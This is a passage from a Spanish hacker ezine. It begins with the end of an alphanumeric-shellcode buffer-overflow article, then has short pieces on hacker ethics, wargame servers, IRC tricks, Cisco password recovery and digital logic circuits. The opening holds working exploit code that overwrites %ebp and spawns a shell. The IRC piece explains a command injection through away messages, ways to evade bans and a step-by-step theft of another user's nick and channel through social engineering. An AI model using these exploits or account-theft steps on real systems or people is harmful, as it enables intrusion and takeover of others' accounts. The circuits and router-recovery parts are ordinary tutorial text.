"L0z0L0zYRX4j4aGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG" "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"; /* rellenamos a ceros */ bzero(buf, 2048); /* seteamos 1032 nops */ memset(buf, 0x47, 1032); /* dejamos 32 nops x si acaso */ for(i=32; i < (strlen(shellc)-32); i++) buf[i] = shellc[i-32]; /* sobreescribimos %ebp */ buf[1032] = 0x6c; /* 80 bytes de relleno */ bzero(pad, 128); memset(pad, 0x47, 80); /* seteamos argumentos */ arg[0] = path; arg[1] = buf; arg[2] = pad; arg[3] = NULL; /* lo ejecutamos */ execve(path, arg, environ); } <--> La unica novedad es que hemos usando la variable externa 'environ', para que las variables de entorno sean exactamente las mismas, ya que un solo byte de mas y se nos estropearia todo. El path que usamos es './codigo1', ya que fue el que utilizamos a la hora de provocar el core dump. Probemos el xploit.. [raise@apolo alpha]$ gcc -o xp xp.c [raise@apolo alpha]$ ./xp string: GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGDDDDTYTX3H01H01h03h0LLLLLLLLXPY3 E01E01u03u0j0fXh8eshXf5VJPfhbHQfPfYRX2E00E0BRX0E02E02L0z0L0zYRX4 [ resto de shellcode ] GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGl - bytes no alfnum - sh-2.04$ X fin.. :). Los bytes no alfnum del final es debido a que con el overflow le hemos quitado el null del final al string, con lo que printea unos cuantos bytes de mas. ------------------- // 6.- Conclusion ------------------- Aunque este tipo de overflows son muy especificos, y en algunas ocasiones dificiles de xplotar, queda demostrado que en determinadas circunstancias si es posible saltarse el chequeo de caracteres no alfanumericos, y conseguir ejecutar una shell. Lo malo es que antes de hacer el xploit se necesita un estudio minucioso del programa y de su contexto en memoria, siendo practicamente imposible que el mismo xploit funcione en dos maquinas diferentes. En este ejemplo hemos usado un metodo para sobrescribir el registro %ebp, pero es posible usar otros mecanismos para conseguir ejecutar una shell. Por ejemplo podemos sobreescribir la direccion de retorno de main() con 1 o 2 bytes alfanumericos, y mappear la memoria hasta llegar a la zona de librerias dinamicas, una vez alli buscamos el codigo en ensamblador que nos interese para saltar a el. Solo es cuestion de hecharle imaginacion :). Pues nada nas.. Un saludo a tod@s, en especial a Sp4rK, SaO-LiN, cafo, QuasaR, a la peña de #netsearch, y a todo el mundo en definitiva ;). Nos vemos en NetSearch Ezine #7. Hasta la proxima. RaiSe 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x10 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Breves de NetSearch ]-=================================================== =-[ por Varios Autores ]-==================================================== ---- + Indice Articulos: 1.- Disertacion Personal (por Plateado). 2.- Wargames (por TheGuesT). 3.- Trucos en el IRC (por Plateado). 4.- Recuperacion de passwords en routers Cisco (por MegadetH). ---- Bueno, aqui estamos otra vez :). Esta vez tenemos unos cuantos artis, breves, pero no por eso malos. Empezamos con uno de opinion que a mi gusto es de lo mejorcito que he leido ultimamente (en cuanto a este tipo de textos se refiere). Despues uno de Wargames, que trata sobre los juegos que estan tan de moda ultimamente, donde tienes que 'hackear' una maquina, por supuesto con permiso del propietario. Seguimos con un articulo sobre 'trucos' en el IRC, que seguro que agradeceran nuestros lectores que se estan iniciando en el mundo del chateo. Y terminamos con un excelente documento sobre recuperacion de passwords en routers cisco. Os dejo con ellos .. ==[ Disertacion Personal ]=================================================== ==[ por Plateado ]=========================================================== ¿Que es un hacker?. Esta pregunta es dificil de contestar, para empezar porque el significado no esta bien definido. Hay miles de definiciones distintas y no por ello dejan de ser correctas. He leido ya una cantidad enorme de definiciones, unas mas graciosas que otras, recuerdo que me hizo gracia una de un chaval que acababa de ver la pelicula hackers y decia algo asi como "Hacker es la persona que se mete en un ordenador de una empresa usando a gran velocidad los flashes de colores", en fin, los comentarios sobran. La mas repetida de todas es la de "Hacker es la persona que se introduce en un sistema informatico sin tener autorizacion para ello", esta podria ser correcta, pero la verdad es que eso yo lo hago y no me considero un hacker, mas bien un intruso, o simplemente alguien que penetra por agujeros de seguridad. Para mi los hackers son los gurus de la informatica, no es hacker el que sabe hackear, sino el que esta en el grado maximo de los conocimientos, puede moverse en casi cualquier sistema, y muy por el contrario de lo que se piensa, no hackea en beneficio porpio, sino mas bien, por ansia de conocimientos, y por la lucha de un ideal, la libertad de informacion por encima de todo. No soy un entendido en la historia de los procesadores, ni siquiera en la de ordenadores, si me hablas de antes del 286 los conozco vagamente, y si los conozco... , pero preferi estudiar la historia de los hackers, los autenticos hackers. Gente como Kevin Mitnick, Phiber Optik de Masters of Deception, Prophet, Leftis y Urville de Legion Of Doom (LOD) o Knight Lightning, y por supuesto algunos hackers del lado de la seguridad, que tambien los hay, como Gail Thackeray; Ellos son los protagonistas de la operacion Sundevil, la caza de hackers que se realizo en USA con fines ejemplarizantes para quitar de la mente a las siguientes generaciones el seguir sus pasos. Los gobiernos no quieren ver lo que realmente buscamos los hackers y los que seguimos sus pasos, o si lo quieren ver no les interesa que lo consigamos, el conocimiento nos hara libres... ¿Que es un lamer? A menudo oigo decir lamer o leim a la peña, y en la mayoria de los casos ni siquiera saben lo que significa, por supuesto este termino tambien tiene infinitas acepciones, yo solo voy a dar la mia, y quizas alguno piense en lo que digo y se de cuenta de algo que pueda ayudarle a el o a otros... Ahi va la mia: Para mi un lamer no es la persona que se mete con troyanos en los ordenadores de la gente, de hecho, pienso que si una persona me colase un troyano, le felicitaria por su habilidad con la ingenieria social, tampoco son las personas que usan programas hechos por otros, o los que usan windows. Para mi los lamers son aquellos que usan cosas sin saber sus procedimientos, sin entender lo que realmente estan haciendo, y que ademas no les importa el no saberlo. No se preocupan por aprender que hacen y ni siquiera querrian aprenderlo, porque leer la informacion les parece una perdida de tiempo, eso es ser un lamer. Lo peor es que esa gente muchas veces desprestigian el buen nombre de los hackers diciendo que ellos lo son, y muchas veces son cogidos por no saber lo que hacian, y condenados sin saber que riesgos corrian antes de hacerlo. A toda esa gente, si lee esto, le recomiendo que se informen de las consecuencias legales que puede conllevar ser un lamer, asi como las posibilidades que hay de que te pillen... Plateado -__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__ ==[ Wargames ]=============================================================== ==[ por TheGuesT ]=========================================================== Wargames ^^^^^^^^ Si quieres demostrar lo que sabes sobre hack, sistemas operativos y programacion ya no hay excusa posible. Siempre hemos tenido la oportunidad de demostrar nuestros conocimientos o bien de manera ilegal ( la menos recomendable ;) ), con nuestro propio ordenador o, los mas afortunados, red o incluso con los ordenadores de los colegas. Hace tiempo surgio lo que denominamos wargames ( juegos de guerra ). Su nombre se saco probablemente de la pelicula que al fin y al cabo no se va tanto de lo que en la actualidad conocemos por wargames. Estos son una especie de juegos en internet en los cuales tienes que demostrar tus conocimientos a la hora de hackear un server. Y todo de manera absolutamente legal ya que los dueños de las maquinas las han puesto ahi para que tu las ataques. Basicamente, yo distingo dos tipos de wargames. En unos el juego se divide por niveles. Para pasar al siguiente nivel tienes que superar un reto. Como es obvio, cada nivel que avanzas el reto es mas complicado llegando incluso a tener que programarte tu propio exploit basado en un buffer overflow que tienes que encontrar en algun programa que usa la maquina. El problema que personalmente le veo a este tipo de wargame es que estas muy limitado. Haces practicamente lo que te dejan hacer y la forma de pasar de nivel es igual para todos asi que no os sera dificil encontrar por la red la solucion a los enigmas de los wargames de este tipo. El segundo tipo me parece mas interesante. Los protagonistas: una maquina con distintos servicios instalados, una cuenta de invitado y un hacker. Objetivo: obtener el control de la maquina, dar a conocer como lo hiciste y protegerla el mayor tiempo posible. Durante ese tiempo la maquina es practicmante tuya. Tendras que administrarla estando atento a los bugs que vayan saliendo a la luz. Tu mayor enemigo los 0-day exploits. Es el nombre que se le da a los exploits que no han salido a la luz y que los propios hackers se hacen con el objetivo concreto de obtener root en una maquina. Habitualmente las maquinas que pertenecen a estos wargames tienen algun sistema operativo de verdad, instalado. Me refiero a sistemas operativos de verdad, cualquiera menos los de Microsoft xD. Algun tipo de Unix o algun OS especifico para un hardware. Por ejemplo, en una de las URLs que mostrare al final se permite el ataque a un router son JunOS instalado. Interesante sin duda. Tal vez, haya dado la impresion de que estos wargames se rigen por la anarquia pero no es asi. Todos los wargames tienen su propio conjunto de reglas que se suelen resumir en "haz pero deja hacer" y "no me utilices como ftp warez o plataforma de ataque DoS". En algunos casos el admin del juego protege con un firewall la red para que no haya conexiones desde alguna de sus maquinas hacia fuera. Llegado a este punto tal vez algun lector se esperaba que desvelara alguno de los retos de algun wargame tal como se ha hecho en otros ezines del sector. Pero no va a ser asi ya que no me gusta desvelar el final de la pelicula. Es como si os dijera que Leonardo Di Caprio muere al final de Titanic o que Bruce Willis es un fantasma en el Sexto Sentido. ¿ Habiais visto ya estas pelis verdad ? X). Ahora os mostrare algunas URLs y algunas maquinas de estas URLs sobre las que podeis probar. http://www.pulltheplug.com Maquinas disponibles: olive.labs.pulltheplug.com (209.9.44.209) Juniper Router - JUNOS 4.2R1.3 - l/p : guest/guest roothat.labs.pulltheplug.com (209.9.44.210) Pent. Pro - 200 Mhz - 128 Megs RAM - 1.6 Gig HD - RedHat 6.2 bigperm.labs.pulltheplug.com (209.9.44.212) Pent. Pro - 200 Mhz - 128 Megs RAM - 2 2 Gig HDs - Debian/GNU Linux 2.1 Linux 2.2.13 - Solar Designer's Security Patches - l/p : guest/guest bassd.labs.pulltheplug.com (209.9.44.211) Pentium - 200 Mhz MMX - 64 Megs RAM - 2 Gig HD - FreeBSD 4.0 - l/p : guest/guest generic.labs.pulltheplug.com (209.9.44.213) Pentium - 200 Mhz - 80 Megs RAM - 2 Gig HD / 3 Gig HD - OpenBSD 2.6 - l/p : guest/guest bricklouse.labs.pulltheplug.com (209.9.44.214) Pentium - 166 Mhz - 64 Megs RAM - 2 Gig HD - NetBSD 1.4.2/i386 - l/p : guest/guest mainsource.labs.pulltheplug.com (209.9.44.215) P2 Celeron - 450 Mhz - 128 Megs RAM - Suse Linux 6.4 - l/p : guest/guest slowaris.labs.pulltheplug.com (209.9.44.216) Solaris 2.8 l/p: guest/guest disco.labs.pulltheplug.com (209.9.44.217) Cisco 2514 - 16 Megs RAM - 8 Megs Flash - IOS 12.0.4 - Firewall IOS - l: letmein EOF http://www.hack3r.com Maquinas disponibles: hercules.hack3r.org IP hercules.hack3r.org / 208.46.64.190 Description AMD k6-2 500, 128 Megs Ram. 8 Gig HD Information Turbo Linux 6.0.4 Status Currently Down for repairs minime.hack3r.org IP 66.56.147.177 Description i486 8 Megs Ram 400 meg HD Information OpenBSD 2.8 Login: hetfield Passwd: abc123 Status Currently Up EOF http://www.happyhacker.org Maquinas disponibles: happyhacker.org ( el sitio donde esta la web propiamente ) EOF http://www.hackerslab.org Maquinas disponibles: drill.hackerslab.org EOF http://www.cyberarmy.com EOF Bueno, esto ha sido todo. Supongo que para los que ya habiais visto estos wargames no es nada nuevo pero siempre hay gente que comienza y tiene miedo a experimentar. Ya no hay excusa. A hackear se aprende hackeando. Saludos a todos los ezines underground y a los canales #teleco_valencia y #hacking del Hispano. TheGuesT Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla -__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__ ==[ Trucos en el IRC ]======================================================= ==[ por Plateado ]=========================================================== Nota preliminar: la informacion que aqui se expone es meramente educativa y fue expuesta aqui con el proposito de que todo aquel que la leyera conociese algunos fallos o curiosidades que pueden encontrarse en el Irc, es decir, no me hago responsable de cualquier mal uso que pueda darsele a esta informacion ni del daño que esto pueda causar en tu mismo ordenador o daños a terceros, por si alguno es corto de mente... lo explicare diciendo que, si alguien que ha leido esta informacion se pone a joder en el canal de los operadores de la red, el y solo el sera responsable de lo que esto conlleve... ¿¿Que script debo usar?? ------------------------- Para empezar, yo recomiendo no ir por ahi con el mIrc a pelo, cierto que tiene menos posibles bugs, pero la velocidad de ejecucion de los comandos en un script ayuda mucho. Si tengo que aconsejar, yo me quedo con el x-chat aunque cualquiera de los clientes de Irc de linux son lo mejor. Como seria una maravillosa utopia que todos los que leen esto usaran Linux, no me queda mas remedio que recomendar el Phanatik Script, que para mas seguridad puedes spoofear el replay a los ctcp version, poniendo algo que haga parecer que corres en Linux, y configurando en los kicks y bans que no salga lo de Phanatik para que no te delate. Saltandote ese molesto ban --------------------------- Saltarte un ban es sencillo a pesar de lo que pueda parecer, lo principal es saber de que tipo es el ban, normalmente aparece en el status bajo que mascara se te ha baneado, hay tres tipos de ban: Nick: son del tipo Plateado!*@*.* , se saltan simplemente cambiandote el nick y reentrando al canal. La pequeña desventaja es que en algunas redes no puedes cambiar el nick una vez dentro si esta baneado. IP: son del tipo *!*@*.127-0-0-1 , este lo saltaremos cambiando nuestra IP, para esto usaremos un Bouncer o desconectaremos de internet y volveremos a conectar para que se nos asigne otra IP. En el caso de Irc-hispano, usaremos las IP´s virtuales para nuestro proposito, nos pondremos en modo-x poniendo "/mode Plateado -x" para que nuestra IP cambie a la real, reentramos al canal y volvemos a ponernos en modo +x poniendo "/mode Plateado +x" para que nuestra IP vuelva a ser virtual y si nos vuelven a banear poder repetir la accion. Esta tecnica en Irc-Hispano tiene una desventaja, al entrar al canal da tu IP real "Plateado(@Alpha.127-0-0-1) has join". Ident Spoof: son del tipo *!Alpha@* , los saltaremos cambiando el Ident Spoof que en la mayoria de los scripts se cambia en la zona de configuracion y tras cambiarlo se desconecta y reconecta del server de irc para que el cambio de Ident Spoof haga efecto y reentra en el canal. Hay que dejar claro que los tres tipos pueden estar combinados en un mismo ban, asi que probablemente tengamos que hacer mas de uno de los tres trucos para saltarnos un mismo ban. Puedes conseguir un addon que automatiza este proceso para el hispano hecho por theBosz en www.theBosz.net. Deshaciendote de un Akick -------------------------- Como ocurre con los bans, los Akick son de tres tipos: Nick: son los mas normales y simplemente te echan si usas ese nick en concreto, para saltarlo simplemente cambiamos de nick y entramos en el canal. Para deshacerte de el es algo mas complejo, lo explicare por pasos: Vamos a un ircop y le decimos que nos drope el nick porque queremos registrar otros en el mismo mail, no creo que te pongan pegas. Te pedira el mail de registro y que estes identificado asi como te informara que perderas todos tus registros. Una vez dropado volvemos a registrarlo a un mail nuestro de modo que nos manden de nuevo la password y ya nos hemos librado de el. La desventaja que tiene es que pierdes todos tus registros, para evitar esto, haz lo mismo que yo, usa tu nick para la batalla y ten otro aparte para los registros, asi podras tantas veces quieras sin perder los registros. Te recomiendo que a parte de los akicks tengas algun registro para que el ircop no se mosquee cuando le toque droparlo o te pondra pegas.... IP o Ident Spoof: estos raramente se ven, son los mejores para el momento pero los mas inofensivos a la larga, aunque dropes el nick no se van, ya que no akickean al nick, para saltartelos cambia el Ident Spoof o desconecta y conecta para que se te asigne otra IP X-FUCK, Lamersias y Orbital. Estos scripts en sus versiones 4.1 el x-cript y x.x el mesias tienen un bug, me he tomado la libertad de llamar al Mesias Lamersias debido a que si ya era muy coincidente el parecido que tenia con el X-Cript, lo es mas que tenga el mismo Bug, en fin, a lo nuestro. Lo explicare por pasos para que sea mas facil: Nos ponemos en away poniendo tras el mensaje de away un comando que sea ejecutable por el script, por ejemplo: "//away no toy | quit me las piro por cortesia de Plateado" Una vez hecho esto hacemos query a la victima y la saludamos, el respondera y nuestro away saldra en su pantalla Segundos despues el comando se ejecutara en la victima sobre la cual en este caso tendria este resultado: "Victima has Quit Irc(me las piro por cortesia de Plateado)" Echadle imaginacion y pensad en todos los comandos que se pueden ejecutar asi. Consiguiendo la IP de nuestra victima -------------------------------------- Desgraciadamente aun no se como conseguir la IP sin necesidad de ingenieria social. Para conseguirla tienes conseguir que la victima acepte o te mande un DCC, ya sea chat o send, y tendras su IP, en www.theBosz.net puedes encontrar que su script tiene incorporado un spoofeador de IP para envios de dcc de tal modo podrias enviar dcc´s sin dar tu ip y viendo la de la victima. Robando un nick o un canal --------------------------- Ante todo te digo de antemano que leyendo esto no vas a saber robar un canal, solo te voy a explicar, como hacer que los ircops no devuelvan el canal a su legitimo dueño, necesitas la pass del nick del founder y su mail de registro, tu sabras como los consigues aunque la ingenieria social te puede ayudar mucho... Una vez tenemos la pass del nick nos ponemos su nick y nos identificamos, entramos en el canal y cambiamos la pass del canal y ya de paso tambien la del nick. Luego cambiamos el canal de founder, a otro nick nuestro, da igual a cual porque esto sera solo momentaneamente... Vamos a un ircop a que nos drope el nick y ponemos la misma excusa que para quitarnos un akick, y una vez dropado registramos el nick en un mail nuestro. Ya tenemos el nick en nuestro poder, pero falta terminar con el canal, para ello volveremos a cambiar el founder a nuestro nuevo nick... Cuando la victima llame a un ircop para que le devuelvan el canal el ircop le dira que el no es el dueño del nick de founder, entonces el dira que se lo robaron tb y que le reenvie la pass, sobre la marcha el cop le pedira el mail de registro del nick que no coincidira con el que el dara asi que le dira que no puede ayudarle si no le da el mail correcto... Todo hecho :) Si tienes alguna duda, critica, queja, insulto reservado para mi, agradecimiento o cualquier otra cosa interesante mandame un mail a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla , prometo contestar. Plateado -__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__ ==[ Recuperacion de passwords en routers Cisco ]============================= ==[ por MegadetH ]=========================================================== *0 Prologo Este es un mini arti dedicado a la recuperacion de passwds perdidas de routers Cisco.La verdad es k es una chorrada pk el mismo Cisco lo documenta y aparece en sus cursos de acreditacion. Ademas por supuesto debes tener acceso fisico al router, pero a lo mejor alguien se hace con un router de segunda mano, o tiene en su red un router que un admin que ya no esta configuro en su dia.... Se supone conocimiento minimo de routers Cisco e IOS. Para mas info: www.cisco.com. *1 Intro Hay varios procedimientos para recuperar passwds de los routers Cisco, dependiendo del router, del IOS e incluso de la CPU. Y tb de si la passwd perdida es una "enable" o es "line". Por norma general se deben restablecer las configuraciones de arranke. Algunos routers viejos usan puentes hardware para ello, por lo k hay k destriparlos. Afortunadamente los mas modernos usan puentes software (registros de configuracion), donde se puede cambiar. Segun el valor contenido en la entrada del archivo de configuracion nos indica una cosa: Si el 0 se encuentra en primera posicion indica que entre al modo "rommon" al arrancar, pe: 0x010. Si el 1 se encuentra en primera posicion indica que inicie desde el IOS almacenado en la ROM, pe: 0x102. Si el 2 se encuentra en primera posicion indica que mire el archivo de config en la NVRAM para decidir con que imagen del IOS arrancar, pe: 0x2102. *2 Passwds Enable Hay 2 modos de recuperar passwd enable y enable-secret, dependiendo del router el IOS y hasta la CPU. Los procedimientos normales son acceder al simbolo del sistema "rommon" para passwds enable y al "test-system" para passwds line. Esto se hace enviando una señal break desde la consola al router (ctrl+b,alt+b.. depende del terminal o emulador..).La primera parte para los 2 metodos es la misma: 1. Conectar un terminal o pc o lo ke sea con un emulador de terminal al puerto de consola del router. 2. Escribir en el simbolo del sistema "show-version" (la perdida de la pass enable solo nos bloquea el acceso al modo privilegiado, no al resto del IOS). La ultima linea de la salida de este comando es el registro de configuracion (uno muy comun es 0x2102), guardemosla. 3. Reiniciamos el router. 4. Mandamos un "break" antes de k arranke. 5. Aparece el prompt del rommon (rommon>). 2-1 Modo 1 (Routers:Cisco 2000, 2500, 3500, 4000 con CPU Motorola 68k, 7000 con ROM IOS > 10.0, IGS con IOS 9.1 o posterior.) 6 Tecleamos /r0x42 para iniciar desde la flash o /r0x41 para hacerlo desde la ROM. Si podemos arrancar desde la flash de p.m., pk podemos cambiar la passwd, sino rula arancamos desde la ROM. 7 Introducimos el comando "reload", que hace que reiniciemos desde la flash ignorando el archivo de configuracion guardado. 8 En la pantalla de configuracion respondemos que "no" a todo hasta llegar a "press return to get started". 9 Pulsamos intro y aparece el simbolo del sistema (Router> nombre predeter minado). 10 Escribimos "enable" y aparecera el simbolo del modo privilegiado (Router#, como siempre). 11 Si la passwd era enable escribimos "more nvram:startup-config" para verla, si es enable-secret para no complicarnos la vida creamos una nueva con "configure memory" y "write memory". 2-2 Modo 2 (Routers:Cisco 1003, 1600, 3600, 4500, 7500) 6 Introducimos el comando "confreg" (configuration register), cuando aparece el mensaje "Do you wish to change the config?" contestamos "yes". 7 Contestamos "no" hasta k aparezca "ignore system config info?", contestamos "yes". 8 Contestamos "no" a todo hasta k aparezca la frase "change boot characteristics?", contestamos "no" y aparece la frase "intro to boot". Pulsamos enter. 9 Si la memoria flash rula, introducimos el num 2 para arrancar desde ella. Si no, introducimos el 1 y arrancamos desde la imagen del IOS de la ROM, igual k arriba conviene + desde la flash. 10 Introducimos el comando "reload", si el router es un 4500 o 7500, reiniciamos interrumpiendo la corriente (Cisco lo llama "ciclo de potencia" xDDD k finos pa un puto reset. Los usuarios de Windoze por cierto, estan muy acostumbrados a este punto :-P). 11 Contestamos k "no" a todo. 12 Al llegar al prompt introducimos "enable" para entrar al modo privilegiadop. 13 Una vez alli podemos: - - introducir "more nvram:startup-config" para passwd enable. - - usar "configure memory" / "write memory" para crear una passwd enable secret nueva. - - usar "write erase" para joder todo el fichero de configuracion (xD). 14 Introducimos "config-term" en el simbolo del sistema (modo privilegiado). 15 Introducimos "config-reg" y escribimos la config k guardamos en el paso dos (show version). 16 Presionamos ctrl-z. 17 Introducimos "write memory" para guardar la config en la NVRAM. *3 Passwds line Para recuperar una contraseña de linea hay k forzar al router al modo "diagnostico de fabrica". Esto se consigue de la siguiente manera: (es recomendable consultar el manual si lo tenemos..) Cisco AS5100,AS5200,AS5300 : Cambiar la configuracion de 0x8000 Cisco 1600,2500,3000,3600 : usar "reload" y despues cambiar los valores de configuracion a 0x2102 al acabar routers modulares : Establecer el puente del bit 15 del registro de configuracion, reiniciar y restablecer el puente. Una vez en dicho modo : 1 Contestamos "yes" cuando pregunte si keremos restablecer las directivas del fabricante,aparece el simbolo "test-system>". 2 Introducimos "enable" para entrar al modo privilegiado del test-system. 3 Escribimos "config-term", luego "show:startup:config". Ahora se debe ver el archivo de configuracion, buscamos la passwd y la anotamos. No la cambiemos desde aqui. 4 Reinicamos el router. 5 Ya podemos usar la passwd anteriormente copiada. *4 Notas finales Los routers viejos que necesitan cambiar el registro de configuracion usando puentes hardware (IG con IOS anterior a 9.1, Cisco 70x0 con IOS anterior al 10.0..etc) requieren distintos procedimientos que podeis consultar en la peich de Cisco (estan ?). Lo que si que hay en la peich de Cisco es mogollon de info sobre routers, switches e IOS, ademas de sobre redes en general. -www.cisco.com- Si teneis alguna duda, curiosidad, etc., sobre routers Cisco podeis intentar preguntarmelo a mip xD, o bien enviar un mail al staff donde hay gente como el tio Pope que esta haciendo el CCNA. Saludos MegadetH 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x11 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Intro. a Circuitos Digitales ]-========================================== =-[ por WhEkeP ]-============================================================ En este apartado pretendo explicar los circuitos digitales mas internos de un pc. Es decir, explicar la composicion de la ALU, memoria registros ... y poder ver como es posible mediante la conectividad de ciertos transistores realizar unos de estos componentes y su funcionamiento. Pasemos a las explicaciones: sabemos que cualquiera de los componentes que forman un pc trabaja con solo dos valores en su circuiteria: el cero y uno (0-1). Para entender como es posible tener un chip como la ALU que sume, reste .... y numeros expresados en una tira de ceros y unos, sera necesario entender primero los postulados y teoremas del Algebra de boole, sobre los que los circuitos digitales se basan. El algebra de boole nos proporciona una serie de postulados y teoremas que se cumplen para variables logicas, es decir variables que solo pueden tomar dos valores (cierto y falso). * Variables logicas Primero de todo , que es una variable logica ? Su definicion seria: .- Variable logica es una variable que tiene tres propiedades "especiales" (por llamarlo de alguna manera). Primera: Una variable logica puede adoptar uno u otro de solo dos valores posibles. Segunda: Los valores se representan por sentencias declarativas (arriba,abajo - alto,bajo ....). Tercera: Y como ultima los valores de una variable logica deben ser tales que sean mutuamente exclusivos, es decir no podrian ser correcto dos valores como "alto, bajo" y donde el alto es que mida entre [1,50 y 12,10] y el bajo que mida entre [1,20 y 1,60], ya que cuando algo mida 1,50 no se sabra que valor de la variable logica le corresponde. * * Funciones de variables logicas. Como sabemos, una funcion matematica determina distintos valores que se pueden deducir a partir de ciertos valores de una variable, llamada variable independiente. Pues bien!, trabajando con variables logicas podemos llegar a definir ciertas funciones matematicas, que nos proporcionan ciertos valores logicos a partir de otros valores que tomen la variable independiente incluida en la funcion. Si distinguimos entre funciones de una sola variable y funciones de mas de una variable, seria lo siguiente: - Las funciones de una variable serian expresar como Z=f(A), donde A es la variable logica independiente. Con este concepto tenemos que distinguir cuatro funciones a partir de las 4 combinaciones posibles que podemos formar con los valores de Z y de A. Pondre un ejemplo para que quede claro. Supongamos que los dos valores que puede tener una variable boolana o logica sea V y F | _ | | Z=A | Z=A | Z=F | Z=T A Z=f(A) | A Z=f(A) | A Z=f(A) | A Z=f(A) F F | F T | F F | F T T T | T F | T F | T T La funcion Z=A corresponde a la funcion identidad. La funcion Z=A corresponde a la funcion NOT. La funcion Z=F, en realidad no es una funcion sino una constante en este caso vale F. La funcion Z=T, en realidad no es una funcion sino una constante en este caso vale T. - Las funciones de dos variables logicas expresadas como f(A,B), donde A y B son las variables independientes de la funcion. Para formar estas funciones es preciso definir lo que se llama la tabla de verdad, donde aparecen todos los valores posibles de las variables con los resultados de la tabla. Segun he dicho antes si las variables logicas son f(A,B) nuestra tabla de la verdad seria: A B Z=f(A,B) F F F T T F T T (Quedaros con esta "tabla", como podeis ver esta vacia y ahora explicare el tipo de funciones que existen y comprendereis mejor "la tabla de la verdad". Esta es la parte que mas me gusta jejeje, aqui empieza toda la "chicha".) -Funcion AND A B Z= A AND B F F F F T F T F F T T T Como podeis ver, Z sera verdad(T) cuando A y (and) B sean a la vez ciertas(V). Un simbolismo alternativo para la funcion AND es: Z = A*B incluso mas simple todavia Z=AB. El simbolismo es debido a que Z, en esta funcion es el resultado del llamado producto logico de A y B. Si explicamos las propiedades de la funcion AND (en este caso explicare solo 2) tendriamos las siguientes: 1.- Conmutativa, es decir, si el orden de A y B se intercambia la funcion Z no se alterara y seria: Z=AB=BA 2.- Asociatividad. Es cierto que: Z=(AB)C=A(BC) (espero que este claro pq me explicado lo "mas" facil que he podido. No asustaros con las propiedades conmutativas y asociativas, despues entendereis q las explico..). -Funcion OR A B Z= A OR B F F F F T T T F T T T T Bien en esta tabla de la verdad vemos lo siguiente, Z=T si A=T o(OR) B=T o si ambas (A y B) son verdaderas. Un simbolismo alternativo para la funcion OR es: Z=A+B Es por ello que esta funcion le podriamos llamar "suma logica de A y B". Se puede verificar facilmente que al igual que la funcion AND , la funcion OR cumple las propiedades conmutativas y asociativas. 1.- Conmutativa: A+B=B+A 2.- Asociativa: A+(B+C)=(A+B)+C * Sistemas logicos: Pasamos ahora a la parte practica a sacarle partido a todas estas funciones y tablas de la verdad, en este caso con las funciones logicas que he explicado es posible construir circuitos electronicos cuyo funcionamiento corresponda a una expresion formada por las funciones (AND y OR). Un ejemplo que quedara bien claro y que me explicaron hace años. Supongamos que queremos construir una maquina sencilla, de manera que suene una alarma de un avion en el caso en que los dos pilotos que lo patrullan se vayan. Colocamos 2 conmutadores 1 y 2 en los asientos de los pilotos (les llamamos P1 y P2), los conmutadores se preparan para que se cierren cuando el piloto deje su asiento. Supongamos que A representa la variable logica que es verdad cuando P1 no esta en su asiento y falsa cuando lo esta, y que B representa la variable del piloto P2. Entonces si queremos que suene la alarma cuando los dos pilotos esten fuera, la funcion que corresponde al circuito seria: F=AB o sea una AND. El circuito seria algo parecido a esto: ___________ P1 __________ P2 ___________ | \ ^ \ ^ | | \ \ | | \_ \_ | | ___|___ | |Timbre| __|___ |______| ____ Bateria | | | |______________________________________________| Pero y si ahora lo que queremos usar es la funcion OR, si seguimos el ejemplo anterior y decidimos que la alarma suene cuando P1 o P2 abandonen el asiento. En este caso el circuito seria: P1 ________ |\ ^ | | \ | | \_ | ___________| |_________________ | | | | | | P2 ________| | | \ ^ | | \ | | \_ | | ___|___ | |Timbre| __|___ |______| ____ Bateria | | | |______________________________________________| (busco utilidad para hacer los dibujos en 10 min xD). En en estos fantasticos ejemplos (xD) existen la necesidad de realizar circuitos que expresen cierta logica para que funcionen de una manera u otra. Es decir estos 2 circuitos se basan ni mas ni menos que en funciones booleanas. En otras palabras para realizar circuitos como los anteriores se usan dispositivos que internamente implementen una funcion logica. -.- Puerta AND: (dispositivos que realiazan un producto logico entre dos variables) _______ A----------| \ | |--------AB B----------|_______/ Si tenemos en cuenta la conmutatividad y asociatividad de la funcion AND, el dispositivo que realice el producto logico de muchas variables puede ser: ______ A----------| \ | \ B----------| |--------AB... | / -----------|______/ -.- Puerta OR: (Dispositivos que realiza la suma logica entre dos variables) _______ A----------| \ | |--------A+B B----------|_______/ Conmutatividad y asociatividad (puerta OR) ______ A----------| \ | \ B----------| |--------A+B... | / -----------|______/ -.- Puerta NOT: (Puerta que tiene solamente una entrada y una sola salida. En otras palabras cuando la entrada es verdad, la salida es falsa, y viceversa) __ | \ _ A---------| |*--------- Z=A |__/ La parte esencial del "dibujo" es el *, ya que cuando se quiere indicar la inversion en un diagrama logico con puertas o simbolos, a los que se pueda insertar el circuito se omite la parte del inversor. Si suponemos que tenemos la puerta AND que genera el producto logico AB y queremos complementar este producto para generar AB 